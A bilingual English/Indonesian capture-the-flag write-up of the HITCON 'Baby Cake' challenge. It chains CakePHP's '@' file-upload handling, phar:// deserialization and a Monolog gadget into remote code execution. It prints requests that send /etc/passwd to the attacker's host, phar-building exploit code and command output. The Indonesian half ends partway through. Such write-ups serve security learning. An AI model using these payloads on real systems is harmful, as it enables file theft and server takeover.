# Baby Cake  
\---  
**Points:** 400 | **Solves:** 4/1789 | **Category:** Web

Get the shell plz!!!!! 13.230.134.135

Author: orange

Hint: This is not related to SSRF

![](screenshot.png)

\---

[Bahasa Indonesia](#bahasa-indonesia)

## English

### TL;DR  
\- We can access arbitrary URL with HTTP Client in the given Cake PHP web and
the cache will be stored in `body.cache` and `headers.cache` files if the
method used is GET.  
\- Besides GET, we can use other method such as POST with data from
`getQuery('data')`.  
\- In the internal implementation of `\Cake\Http\Client\Request`, if the data
is an array, it will be processed with `Cake\Http\FormData`.  
\- In `Cake\Http\FormData` there is an implementation of CURLOPT_SAFE_UPLOAD-
like, where `value` starting with `@` will be uploaded from the local system
(Local File Disclosure).  
\- We can control the parameter of `file_get_contents` in `Cake\Http\FormData`
so we can use `phar://` with the payload from `body.cache` for implicit
unserialization.  
\- We can do PHP Object Injection with available gadgets to do Remote Code
Execution; for example, by using `Monolog` vendor.

### Detailed Steps  
A difficult 'baby' problem with only 4 teams solve it. The web is made with
Cake PHP and we got the [source code](baby_cake.tgz). Our goal is to get the
shell.

The main logic of the web application is in
`src/Controller/PagesController.php`.

```php  
headers = $headers;  
$this->body = $body;  
}  
}

class PagesController extends AppController {

private function httpclient($method, $url, $headers, $data) {  
$options = [  
'headers' => $headers,  
'timeout' => 10  
];

$http = new Client();  
return $http->$method($url, $data, $options);  
}

private function back() {  
return $this->render('pages');  
}

private function _cache_dir($key){  
$ip = $this->request->getEnv('REMOTE_ADDR');  
$index = sprintf('mycache/%s/%s/', $ip, $key);  
return CACHE . $index;  
}

private function cache_set($key, $response) {  
$cache_dir = $this->_cache_dir($key);  
if ( !file_exists($cache_dir) ) {  
mkdir($cache_dir, 0700, true);  
file_put_contents($cache_dir . "body.cache", $response->body);  
file_put_contents($cache_dir . "headers.cache",
serialize($response->headers));  
}  
}

private function cache_get($key) {  
$cache_dir = $this->_cache_dir($key);  
if (file_exists($cache_dir)) {  
$body = file_get_contents($cache_dir . "/body.cache");  
$headers = file_get_contents($cache_dir . "/headers.cache");  
  
$body = "\n" . $body;  
$headers = unserialize($headers);  
return new DymmyResponse($headers, $body);  
} else {  
return null;  
}  
}

public function display(...$path) {  
$request = $this->request;  
$data = $request->getQuery('data');  
$url = $request->getQuery('url');  
if (strlen($url) == 0)  
return $this->back();

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );  
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))  
return $this->back();

$method = strtolower( $request->getMethod() );  
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )  
return $this->back();

$headers = [];  
foreach ($request->getHeaders() as $key => $value) {  
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-
length'] ))  
continue;  
if (count($value) == 0)  
continue;

$headers[$key] = $value[0];  
}

$key = md5($url);  
if ($method == 'get') {  
$response = $this->cache_get($key);  
if (!$response) {  
$response = $this->httpclient($method, $url, $headers, null);  
$this->cache_set($key, $response);  
}  
} else {  
$response = $this->httpclient($method, $url, $headers, $data);  
}

foreach ($response->headers as $key => $value) {  
if (strtolower($key) == 'content-type') {  
$this->response->type(array('type' => $value));  
$this->response->type('type');  
continue;  
}  
$this->response->withHeader($key, $value);  
}

$this->response->body($response->body);  
return $this->response;  
}  
}  
```

When a request is made on the web with the GET method with `?url=`, the web
checks whether there is a cache already stored for the given URL. If not, the
URL will be requested with internal HTTP Client and then the contents of the
response body will be written to `body.cache` and the contents of the
serialized headers (array) will be written in `headers.cache`. If the cache is
present, the application will retrieve the cache contents directly. Cache is
not used if the method used is other than GET.

Note that there is an `unserialize` call in `cache_get($key)` function but the
parameter is from `header.cache` contents which is previously written using
`serialize` with array as input so PHP Object Injection is not possible from
here (unless there are bugs in PHP internal).

The idea is, since we can write arbitrary data to `body.cache`, if a file
operation function with our controlled parameter is executed then we can use
`phar://` wrapper to do PHP Object Injection with `body.cache` as the payload.
It turns out that we can direct the application flow to `file_get_contents`
with our own parameter in the Cake PHP internal!

To understand the exploit better, we will breakdown the steps as the flow from
request to Remote Code Execution.

#### Passing Request Data

```php  
$request = $this->request;  
$data = $request->getQuery('data');  
$url = $request->getQuery('url');

...

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );  
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))  
return $this->back();

..

$method = strtolower( $request->getMethod() );  
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )  
return $this->back();

...

if ($method == 'get') {  
$response = $this->cache_get($key);  
if (!$response) {  
$response = $this->httpclient($method, $url, $headers, null);  
$this->cache_set($key, $response);  
}  
} else {  
$response = $this->httpclient($method, $url, $headers, $data);  
}  
```

The URL scheme and the method from us is filtered by the web application so we
can't use other than `http://` and `https://` for scheme and other than
GET/POST/PUT/DELETE/PATCh for method.

We can use POST/PUT/DELETE/PATCH so that `$response =
$this->httpclient($method, $url, $headers, $data);` is called. We can set the
`$data` variable using GET `?data=`.

```php  
private function httpclient($method, $url, $headers, $data) {  
$options = [  
'headers' => $headers,  
'timeout' => 10  
];

$http = new Client();  
return $http->$method($url, $data, $options);  
}  
```

The web uses `Cake\Http\Client` and call the method based on `$method` from us
with `$url` and `$data` from us.

In this example, we will try to use POST method.

#### Processing POST Request

Looks at `vendor/cakephp/cakephp/src/Http/Client.php`.

```php  
/**  
* Default configuration for the client.  
*  
* @var array  
*/  
protected $_defaultConfig = [  
'adapter' => 'Cake\Http\Client\Adapter\Stream',

...

public function __construct($config = [])  
{  
$this->setConfig($config);

$adapter = $this->_config['adapter'];  
$this->setConfig('adapter', null);  
if (is_string($adapter)) {  
$adapter = new $adapter();  
}  
$this->_adapter = $adapter;

...

/**  
* Do a POST request.  
*  
* @param string $url The url or path you want to request.  
* @param mixed $data The post data you want to send.  
* @param array $options Additional options for the request.  
* @return \Cake\Http\Client\Response  
*/  
public function post($url, $data = [], array $options = [])  
{  
$options = $this->_mergeOptions($options);  
$url = $this->buildUrl($url, [], $options);

return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);  
}

...

/**  
* Helper method for doing non-GET requests.  
*  
* @param string $method HTTP method.  
* @param string $url URL to request.  
* @param mixed $data The request body.  
* @param array $options The options to use. Contains auth, proxy, etc.  
* @return \Cake\Http\Client\Response  
*/  
protected function _doRequest($method, $url, $data, $options)  
{  
$request = $this->_createRequest(  
$method,  
$url,  
$data,  
$options  
);

return $this->send($request, $options);  
}

...

/**  
* Creates a new request object based on the parameters.  
*  
* @param string $method HTTP method name.  
* @param string $url The url including query string.  
* @param mixed $data The request body.  
* @param array $options The options to use. Contains auth, proxy, etc.  
* @return \Cake\Http\Client\Request  
*/  
protected function _createRequest($method, $url, $data, $options)  
{  
$headers = isset($options['headers']) ? (array)$options['headers'] : [];  
if (isset($options['type'])) {  
$headers = array_merge($headers, $this->_typeHeaders($options['type']));  
}  
if (is_string($data) && !isset($headers['Content-Type']) &&
!isset($headers['content-type'])) {  
$headers['Content-Type'] = 'application/x-www-form-urlencoded';  
}

$request = new Request($url, $method, $headers, $data);

...

}

```

The data from us will be processed by `post($url, $data = [], array $options =
[])` which is then passed to `_doRequest($method, $url, $data, $options)`
which will create a `$request` object using `_createRequest($method, $ url,
$data, $options)`. In this function, the object is created as
`Cake\Http\Client\Request` (`new Request($url, $method, $headers, $data);`).

Next we have to look at the
`vendor/cakephp/cakephp/src/Http/Client/Request.php` code.

```php  
/**  
* Constructor  
*  
* Provides backwards compatible defaults for some properties.  
*  
* @param string $url The request URL  
* @param string $method The HTTP method to use.  
* @param array $headers The HTTP headers to set.  
* @param array|string|null $data The request body to use.  
*/  
public function __construct($url = '', $method = self::METHOD_GET, array
$headers = [], $data = null)  
{  
$this->validateMethod($method);  
$this->method = $method;  
$this->uri = $this->createUri($url);  
$headers += [  
'Connection' => 'close',  
'User-Agent' => 'CakePHP'  
];  
$this->addHeaders($headers);  
$this->body($data);  
}

...

/**  
* Get/set the body/payload for the message.  
*  
* Array data will be serialized with Cake\Http\FormData,  
* and the content-type will be set.  
*  
* @param string|array|null $body The body for the request. Leave null for get  
* @return mixed Either $this or the body value.  
*/  
public function body($body = null)  
{  
if ($body === null) {  
$body = $this->getBody();

return $body ? $body->__toString() : '';  
}  
if (is_array($body)) {  
$formData = new FormData();  
$formData->addMany($body);  
$this->header('Content-Type', $formData->contentType());  
$body = (string)$formData;  
}  
$stream = new Stream('php://memory', 'rw');  
$stream->write($body);  
$this->stream = $stream;

return $this;  
}  
```

In the `body($body)` function, if `$body` is an array, then the data will be
processed using `Cake\Http\FormData` with the call to `addMany(array $array)`
function. Let's see what happens in this function in
`vendor/cakephp/cakephp/src/Http/Client/FormData.php`.

```php  
/**  
* Add a new part to the data.  
*  
* The value for a part can be a string, array, int,  
* float, filehandle, or object implementing __toString()  
*  
* If the $value is an array, multiple parts will be added.  
* Files will be read from their current position and saved in memory.  
*  
* @param string|\Cake\Http\Client\FormData $name The name of the part to add,  
* or the part data object.  
* @param mixed $value The value for the part.  
* @return $this  
*/  
public function add($name, $value = null)  
{  
if (is_array($value)) {  
$this->addRecursive($name, $value);  
} elseif (is_resource($value)) {  
$this->addFile($name, $value);  
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {  
trigger_error(  
'Using the @ syntax for file uploads is not safe and is deprecated. ' .  
'Instead you should use file handles.',  
E_USER_DEPRECATED  
);  
$this->addFile($name, $value);  
} elseif ($name instanceof FormDataPart && $value === null) {  
$this->_hasComplexPart = true;  
$this->_parts[] = $name;  
} else {  
$this->_parts[] = $this->newPart($name, $value);  
}

return $this;  
}

/**  
* Add multiple parts at once.  
*  
* Iterates the parameter and adds all the key/values.  
*  
* @param array $data Array of data to add.  
* @return $this  
*/  
public function addMany(array $data)  
{  
foreach ($data as $name => $value) {  
$this->add($name, $value);  
}

return $this;  
}

/**  
* Add either a file reference (string starting with @)  
* or a file handle.  
*  
* @param string $name The name to use.  
* @param mixed $value Either a string filename, or a filehandle.  
* @return \Cake\Http\Client\FormDataPart  
*/  
public function addFile($name, $value)  
{  
$this->_hasFile = true;

$filename = false;  
$contentType = 'application/octet-stream';  
if (is_resource($value)) {  
$content = stream_get_contents($value);  
if (stream_is_local($value)) {  
$finfo = new finfo(FILEINFO_MIME);  
$metadata = stream_get_meta_data($value);  
$contentType = $finfo->file($metadata['uri']);  
$filename = basename($metadata['uri']);  
}  
} else {  
$finfo = new finfo(FILEINFO_MIME);  
$value = substr($value, 1);  
$filename = basename($value);  
$content = file_get_contents($value);  
$contentType = $finfo->file($value);  
}  
$part = $this->newPart($name, $content);  
$part->type($contentType);  
if ($filename) {  
$part->filename($filename);  
}  
$this->add($part);

return $part;  
}  
```

Execution in the `addMany(array $data)` function will iterate the array and
then call `add($name, $value)` for each item. In the `add($name, $value)`
function, if `$value` is a string that starts with `@`, then `addFile($name,
$value)` will be called.

In `addFile($name, $value)`, because `$value` is a string, `$value =
substr($value, 1);` and `$content = file_get_contents($value);` will be
executed. With this, since `$value` is tainted from `getQuery('data')`, we can
control the parameter of `file_get_contents`!

#### Local File Disclosure

To test it, we can try to do Local File Disclosure. The 'Request' data created
will be sent directly to the URL using `fopen` in
`Cake\Http\Client\Adapter\Stream` so we can try to send a file to our IP.

The following is a request to send `/etc/passwd` to our IP.

```  
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd  
```

At our IP, we will get `/etc/passwd` from the server!

```  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin  
systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin  
syslog:x:102:106::/home/syslog:/usr/sbin/nologin  
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin  
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin  
lxd:x:105:65534::/var/lib/lxd/:/bin/false  
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin  
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin  
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin  
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin  
pollinate:x:110:1::/var/cache/pollinate:/bin/false  
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash  
orange:x:1001:1001:,,,:/home/orange:/bin/bash  
```

We can also see that the Apache configuration use `000-default.conf` and the
web directory is in `/var/www/html`.

```  
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-
enabled/000-default.conf  
```

```  
<VirtualHost *:80>  
...

ServerAdmin webmaster@localhost  
DocumentRoot /var/www/html

...  
</VirtualHost>  
```

The attempt to get the flag from Local File Disclosure was unsuccessful.
Therefore, we must do Remote Code Execution.

#### Remote Code Execution

By using the features in the web application, we can save the body content of
our URL request response to
`/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache`.

The strategies that can be done are:

1\. Create a payload to do PHP Object Injection from the available Classes.  
2\. Place the PHP Object Injection payload in a phar file, for example
`exploit.phar` in our IP.  
3\. Download `http://IP/exploit.phar` from the web application so the cache
will be stored in
`/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`  
4\. Do POST request with data query to open `phar://` stream wrapper so
unserialization will occurs.

For gadgets, here we will try to use `Monolog` with references from
https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1.

The following is the code to make the payload `exploit.phar` which will
execute `system ('ls -alt')`.

```php  
socket = $x;  
}  
}  
class BufferHandler  
{  
protected $handler;  
protected $bufferSize = -1;  
protected $buffer;  
# ($record['level'] < $this->level) == false  
protected $level = null;  
protected $initialized = true;  
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) ==
false  
protected $bufferLimit = -1;  
protected $processors;  
function __construct($methods, $command)  
{  
$this->processors = $methods;  
$this->buffer = [$command];  
$this->handler = clone $this;  
}  
}  
}

namespace{  
$cmd = "ls -alt";

$obj = new \Monolog\Handler\SyslogUdpHandler(  
new \Monolog\Handler\BufferHandler(  
['current', 'system'],  
[$cmd, 'level' => null]  
)  
);

$phar = new Phar('exploit.phar');  
$phar->startBuffering();  
$phar->addFromString('test', 'test');  
$phar->setStub('');  
$phar->setMetadata($obj);  
$phar->stopBuffering();

}  
```

First, try to access `exploit.phar` URL from the web application.

```  
GET http://13.230.134.135/?url=http://IP/exploit.phar  
```

Then, do POST request to open `phar://` stream with `exploit.phar` cache
location as path.

```  
POST
http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache  
```

And then RCE is successfully done!

```  
total 104  
drwxr-xr-x 26 root root 1000 Oct 21 11:08 run  
drwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp  
-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flag  
drwxr-xr-x 23 root root 4096 Oct 18 19:53 .  
drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..  
drwx------ 5 root root 4096 Oct 18 17:12 root  
drwxr-xr-x 90 root root 4096 Oct 18 11:23 etc  
dr-xr-xr-x 13 root root 0 Oct 16 07:57 sys  
-r-------- 1 root root 54 Oct 15 19:49 flag  
drwxr-xr-x 4 root root 4096 Oct 15 19:41 home  
drwxr-xr-x 3 root root 4096 Oct 9 06:07 boot  
lrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img ->
boot/initrd.img-4.15.0-1023-aws  
lrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws  
drwxr-xr-x 2 root root 4096 Oct 9 06:07 sbin  
lrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/  
drwxr-xr-x 14 root root 4096 Oct 8 17:13 var  
drwxr-xr-x 5 root root 4096 Oct 8 17:06 snap  
drwxr-xr-x 15 root root 2980 Oct 8 17:06 dev  
dr-xr-xr-x 136 root root 0 Oct 8 17:06 proc  
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old ->
boot/initrd.img-4.15.0-1021-aws  
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old ->
boot/vmlinuz-4.15.0-1021-aws  
drwxr-xr-x 20 root root 4096 Sep 12 16:16 lib  
drwx------ 2 root root 16384 Sep 12 16:10 lost+found  
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin  
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64  
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt  
drwxr-xr-x 2 root root 4096 Sep 12 15:55 srv  
```

We can't read `/flag` file because it can only be read by `root`. It seems
that we need to read it by executing `/read_flag` which is a setuid binary. If
`tty` is needed, we can perform reverse shell and spawn it. However, `tty` is
not needed so the execution of `system('/ get_flag')` by modifying the
previous payload will give us the flag.

Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**

FYI, [Orange ](https://twitter.com/orange_8361) (the author) has found that
`phar://` could `unserialize` objects internally since last year, before
someone presented it at Black Hat USA 2018.

References:  
\- https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017  
\- https://blog.ripstech.com/2018/new-php-exploitation-technique/

## Bahasa Indonesia

### Rangkuman  
\- Kita dapat mengakses URL menggunakan HTTP Client dari web Cake PHP yang
diberikan dan cache-nya akan disimpan dalam berkas `body.cache` dan
`headers.cache` apabila method yang digunakan adalah GET.  
\- Selain GET, kita dapat melakukan request lain seperti POST pada URL dengan
data dari `getQuery('data')`.  
\- Pada implementasi internal `\Cake\Http\Client\Request`, apabila data berupa
array maka akan diproses dengan `Cake\Http\FormData`.  
\- Pada `Cake\Http\FormData` terdapat implementasi yang mirip dengan
CURLOPT_SAFE_UPLOAD, di mana `value` yang berawalan `@` akan diunggah dari
lokal (Local File Disclosure).  
\- Pembacaan berkas lokal menggunakan `file_get_contents` dengan string yang
kita kontrol, memungkinkan kita menggunakan `phar://` dengan payload yang ada
pada `body.cache` untuk unserialization secara implisit.  
\- Lakukan PHP Object Injection dengan gadget yang tersedia untuk melakukan
Remote Code Execution, contohnya dengan menggunakan vendor `Monolog`.

### Langkah Detail  
Sebuah soal 'baby web' yang sulit karena hanya 4 tim yang berhasil
memecahkannya. Diberikan sebuah akses ke web yang dibuat dengan Cake PHP dan
[source code](baby_cake.tgz). Tujuan kita adalah untuk mendapatkan akses
shell.

Kode utama dari web terletak pada `src/Controller/PagesController.php`.

```php  
headers = $headers;  
$this->body = $body;  
}  
}

class PagesController extends AppController {

private function httpclient($method, $url, $headers, $data) {  
$options = [  
'headers' => $headers,  
'timeout' => 10  
];

$http = new Client();  
return $http->$method($url, $data, $options);  
}

private function back() {  
return $this->render('pages');  
}

private function _cache_dir($key){  
$ip = $this->request->getEnv('REMOTE_ADDR');  
$index = sprintf('mycache/%s/%s/', $ip, $key);  
return CACHE . $index;  
}

private function cache_set($key, $response) {  
$cache_dir = $this->_cache_dir($key);  
if ( !file_exists($cache_dir) ) {  
mkdir($cache_dir, 0700, true);  
file_put_contents($cache_dir . "body.cache", $response->body);  
file_put_contents($cache_dir . "headers.cache",
serialize($response->headers));  
}  
}

private function cache_get($key) {  
$cache_dir = $this->_cache_dir($key);  
if (file_exists($cache_dir)) {  
$body = file_get_contents($cache_dir . "/body.cache");  
$headers = file_get_contents($cache_dir . "/headers.cache");  
  
$body = "\n" . $body;  
$headers = unserialize($headers);  
return new DymmyResponse($headers, $body);  
} else {  
return null;  
}  
}

public function display(...$path) {  
$request = $this->request;  
$data = $request->getQuery('data');  
$url = $request->getQuery('url');  
if (strlen($url) == 0)  
return $this->back();

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );  
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))  
return $this->back();

$method = strtolower( $request->getMethod() );  
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )  
return $this->back();

$headers = [];  
foreach ($request->getHeaders() as $key => $value) {  
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-
length'] ))  
continue;  
if (count($value) == 0)  
continue;

$headers[$key] = $value[0];  
}

$key = md5($url);  
if ($method == 'get') {  
$response = $this->cache_get($key);  
if (!$response) {  
$response = $this->httpclient($method, $url, $headers, null);  
$this->cache_set($key, $response);  
}  
} else {  
$response = $this->httpclient($method, $url, $headers, $data);  
}

foreach ($response->headers as $key => $value) {  
if (strtolower($key) == 'content-type') {  
$this->response->type(array('type' => $value));  
$this->response->type('type');  
continue;  
}  
$this->response->withHeader($key, $value);  
}

$this->response->body($response->body);  
return $this->response;  
}  
}  
```

Ketika request dilakukan pada URL dengan GET method, maka web akan memeriksa
apakah ada cache-nya yang sudah tersimpan. Apabila belum, maka isi dari body
akan ditulis ke `body.cache` dan isi dari headers (array) yang ter-serialisasi
akan ditulis di `headers.cache`. Apabila sudah, maka web akan mengambil isi
cache secara langsung. Cache tidak digunakan apabila request yang digunakan
adalah selain GET.

Perhatikan walaupun terdapat `unserialize` ketika pembacaan cache, data yang
dimasukkan adalah dari `headers.cache` yang sebelumnya ditulis menggunakan
`serialize` yang isinya pasti berupa array sehingga PHP Object Injection tidak
memungkinkan dari sini (kecuali terdapat bug pada internal PHP).

Kita dapat menulis data apa saja pada `body.cache`. Idenya adalah, apabila ada
operasi berkas yang parameternya dapat kita kontrol sepenuhnya, kita dapat
menggunakan `phar://` wrapper untu melakukan PHP Object Injection dengan
payload yang ada pada `body.cache`. Dan ternyata kita dapat mengarahkan alur
aplikasi ke `file_get_contents` dengan parameter yang kita kontrol di dalam
internal Cake PHP!

Untuk memudahkan memahami exploit, akan dijabarkan alur aplikasi yang terjadi
dari request hingga terjadi Remote Code Execution.

#### Passing Request Data

```php  
$request = $this->request;  
$data = $request->getQuery('data');  
$url = $request->getQuery('url');

...

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );  
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))  
return $this->back();

..

$method = strtolower( $request->getMethod() );  
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )  
return $this->back();

...

if ($method == 'get') {  
$response = $this->cache_get($key);  
if (!$response) {  
$response = $this->httpclient($method, $url, $headers, null);  
$this->cache_set($key, $response);  
}  
} else {  
$response = $this->httpclient($method, $url, $headers, $data);  
}  
```

Skema pada URL dan method yang dimasukkan user difilter oleh web sehingga kita
tidak dapat menggunakan skema selain `http://` dan `https://` dan juga tidak
dapat menggunakan method selain GET/POST/PUT/DELETE/PATCH.

Kita dapat menggunakan POST/PUT/DELETE/PATCH agar `$response =
$this->httpclient($method, $url, $headers, $data);` terpanggil. Variabel
`$data` dapat kita atur menggunakan GET `?data=`.

```php  
private function httpclient($method, $url, $headers, $data) {  
$options = [  
'headers' => $headers,  
'timeout' => 10  
];

$http = new Client();  
return $http->$method($url, $data, $options);  
}  
```

Web menggunakan `Cake\Http\Client` dan memanggil method terkait dengan `$data`
berasal dari kita. Sebagai contoh, di sini method yang digunakan adalah POST.

#### Processing POST Request

Lihat kode pada `vendor/cakephp/cakephp/src/Http/Client.php`.

```php  
/**  
* Default configuration for the client.  
*  
* @var array  
*/  
protected $_defaultConfig = [  
'adapter' => 'Cake\Http\Client\Adapter\Stream',

...

public function __construct($config = [])  
{  
$this->setConfig($config);

$adapter = $this->_config['adapter'];  
$this->setConfig('adapter', null);  
if (is_string($adapter)) {  
$adapter = new $adapter();  
}  
$this->_adapter = $adapter;

...

/**  
* Do a POST request.  
*  
* @param string $url The url or path you want to request.  
* @param mixed $data The post data you want to send.  
* @param array $options Additional options for the request.  
* @return \Cake\Http\Client\Response  
*/  
public function post($url, $data = [], array $options = [])  
{  
$options = $this->_mergeOptions($options);  
$url = $this->buildUrl($url, [], $options);

return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);  
}

...

/**  
* Helper method for doing non-GET requests.  
*  
* @param string $method HTTP method.  
* @param string $url URL to request.  
* @param mixed $data The request body.  
* @param array $options The options to use. Contains auth, proxy, etc.  
* @return \Cake\Http\Client\Response  
*/  
protected function _doRequest($method, $url, $data, $options)  
{  
$request = $this->_createRequest(  
$method,  
$url,  
$data,  
$options  
);

return $this->send($request, $options);  
}

...

/**  
* Creates a new request object based on the parameters.  
*  
* @param string $method HTTP method name.  
* @param string $url The url including query string.  
* @param mixed $data The request body.  
* @param array $options The options to use. Contains auth, proxy, etc.  
* @return \Cake\Http\Client\Request  
*/  
protected function _createRequest($method, $url, $data, $options)  
{  
$headers = isset($options['headers']) ? (array)$options['headers'] : [];  
if (isset($options['type'])) {  
$headers = array_merge($headers, $this->_typeHeaders($options['type']));  
}  
if (is_string($data) && !isset($headers['Content-Type']) &&
!isset($headers['content-type'])) {  
$headers['Content-Type'] = 'application/x-www-form-urlencoded';  
}

$request = new Request($url, $method, $headers, $data);

...

}

```

Data yang kita masukkan akan diproses oleh `post($url, $data = [], array
$options = [])` yang kemudian di-pass ke `_doRequest($method, $url, $data,
$options)` yang akan membuat objek `$request` menggunakan
`_createRequest($method, $url, $data, $options)`. Pada fungsi tersebut,
terdapat pembuatan objek menggunakan `Cake\Http\Client\Request` yang datanya
berasal dari `$url` dan `$data` yang kita kontrol (`new Request($url, $method,
$headers, $data);`).

Selanjutnya kita harus melihat kode
`vendor/cakephp/cakephp/src/Http/Client/Request.php`.

```php  
/**  
* Constructor  
*  
* Provides backwards compatible defaults for some properties.  
*  
* @param string $url The request URL  
* @param string $method The HTTP method to use.  
* @param array $headers The HTTP headers to set.  
* @param array|string|null $data The request body to use.  
*/  
public function __construct($url = '', $method = self::METHOD_GET, array
$headers = [], $data = null)  
{  
$this->validateMethod($method);  
$this->method = $method;  
$this->uri = $this->createUri($url);  
$headers += [  
'Connection' => 'close',  
'User-Agent' => 'CakePHP'  
];  
$this->addHeaders($headers);  
$this->body($data);  
}

...

/**  
* Get/set the body/payload for the message.  
*  
* Array data will be serialized with Cake\Http\FormData,  
* and the content-type will be set.  
*  
* @param string|array|null $body The body for the request. Leave null for get  
* @return mixed Either $this or the body value.  
*/  
public function body($body = null)  
{  
if ($body === null) {  
$body = $this->getBody();

return $body ? $body->__toString() : '';  
}  
if (is_array($body)) {  
$formData = new FormData();  
$formData->addMany($body);  
$this->header('Content-Type', $formData->contentType());  
$body = (string)$formData;  
}  
$stream = new Stream('php://memory', 'rw');  
$stream->write($body);  
$this->stream = $stream;

return $this;  
}  
```

Pada fungsi `body($body)`, apabila `$body` adalah array, maka data akan
diproses menggunakan `Cake\Http\FormData` dengan fungsi `addMany(array
$array)`. Mari kita lihat apa yang terjadi pada fungsi tersebut di
`vendor/cakephp/cakephp/src/Http/Client/FormData.php`.

```php  
/**  
* Add a new part to the data.  
*  
* The value for a part can be a string, array, int,  
* float, filehandle, or object implementing __toString()  
*  
* If the $value is an array, multiple parts will be added.  
* Files will be read from their current position and saved in memory.  
*  
* @param string|\Cake\Http\Client\FormData $name The name of the part to add,  
* or the part data object.  
* @param mixed $value The value for the part.  
* @return $this  
*/  
public function add($name, $value = null)  
{  
if (is_array($value)) {  
$this->addRecursive($name, $value);  
} elseif (is_resource($value)) {  
$this->addFile($name, $value);  
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {  
trigger_error(  
'Using the @ syntax for file uploads is not safe and is deprecated. ' .  
'Instead you should use file handles.',  
E_USER_DEPRECATED  
);  
$this->addFile($name, $value);  
} elseif ($name instanceof FormDataPart && $value === null) {  
$this->_hasComplexPart = true;  
$this->_parts[] = $name;  
} else {  
$this->_parts[] = $this->newPart($name, $value);  
}

return $this;  
}

/**  
* Add multiple parts at once.  
*  
* Iterates the parameter and adds all the key/values.  
*  
* @param array $data Array of data to add.  
* @return $this  
*/  
public function addMany(array $data)  
{  
foreach ($data as $name => $value) {  
$this->add($name, $value);  
}

return $this;  
}

/**  
* Add either a file reference (string starting with @)  
* or a file handle.  
*  
* @param string $name The name to use.  
* @param mixed $value Either a string filename, or a filehandle.  
* @return \Cake\Http\Client\FormDataPart  
*/  
public function addFile($name, $value)  
{  
$this->_hasFile = true;

$filename = false;  
$contentType = 'application/octet-stream';  
if (is_resource($value)) {  
$content = stream_get_contents($value);  
if (stream_is_local($value)) {  
$finfo = new finfo(FILEINFO_MIME);  
$metadata = stream_get_meta_data($value);  
$contentType = $finfo->file($metadata['uri']);  
$filename = basename($metadata['uri']);  
}  
} else {  
$finfo = new finfo(FILEINFO_MIME);  
$value = substr($value, 1);  
$filename = basename($value);  
